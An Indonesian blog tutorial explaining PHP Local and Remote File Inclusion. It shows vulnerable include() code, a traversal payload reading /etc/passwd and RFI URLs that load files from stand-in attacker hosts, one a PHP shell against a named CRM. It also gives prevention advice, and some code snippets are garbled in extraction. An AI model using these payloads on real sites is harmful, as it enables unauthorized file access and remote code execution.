Monday, March 20, 2017
LFI dan RFI
LFI dan RFI
Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site dimana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.
fungsi-fungsi yang dapat menyebabkan LFI/RFI:
include();
include_once();
require();
require_once();
Dengan syarat pada kofigurasi server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
masuk ke example
kita misal kan kita punya file index.php dengan content seperti ini
Code:
include($page);
?>
misal $page=main.php
mungkin di url akan terlihat seperti ini bentuknya
http://www.target.com/index.php?page=main.php
maka script ini akan menampilkan halaman main.php.
nah disini attacker akan dapat melakukan LFI karena variable page di include begitu saja.
misal attacker ingin mengakses file passwd yang ada pada sever maka dia mungkin akan memasukan seperti ini ../../../../../../../../../etc/passwd << class="quoteheader">Quote
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada passwd ternyata dia di tambah dengan extensi .php berarti code yang digunakan untuk include adalah seperti iniCode:
include($page.".php");
?>
nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti
http://www.target.com/index.php?page=../../../../../../../../../etc/passwd
lalu untuk apa ? yaitu untuk menghilangkan karakter setelah ini di sebut teknik null injection.
itu LFI.
misal kita sudah menemukan bug LFI pada site.. kita coba RFI dengan mamasukan pada variable page berupa file dari luar site tersebut. misal
http://www.target.com/index.php?page=http://www.attackersite.com/test.txt
dengan file test.txt misal berisi "hacked by nickname"
jika ternyata di browser menampilkan kalimat tersebut berarti site vuln untuk di RFI juga.
Untuk pencegahan kedua bug tersebut yaitu.
1. Memvalidasi variable.
2. Pada server dengan menconfigure
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. Bisa juga denga menggunakan fungsi switch case contoh:
Code:
= $_GET[page];
switch($page)
{
case "file1.php":
include("file1.php");
break;
case "file2.php":
include("file2.php");
break;
default:
include("index.php");
}
?>
4. pada include mungkin bisa ditambakan "./"
jadi seperti ini
include("./".$page.".php");
dengan sperti ini saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya..
http://www.target.com/index.php?page=./http://www.attackersite.com/test.txt
dengan seperti ini server atau site akan mencarip file http://www.attackersite.com/test.txt dan pastinya tidak di temukan.. maka akan menyebabkan server menampilkan error bahwa tidak ditemukan file seperti itu.
Tambahan :
Remote File Inclusion (RFI), pemanfaatan bugs dalam website untuk mengekspoitasi sebuah target dengan media PHP Shell dengan cara memasukan file yang berisi script PHP dari luar ke dalam target dengan memanfaatkan kesalahan statemen pengkodean PHP pada file di dalam target yang tidak terfilter dengan baik, misalnya bug ini :
Code:
require_once($bcrm_pub_root . "/public_prepend.inc.php")
Code:
http://www.target.com/browser_crm/pub/clients.php?bcrm_pub_root=http://siteattacker.com/shell.txt?
Mempesonah Blog! | CopyLeft Oleh Mempesonah Blog!
Available link for download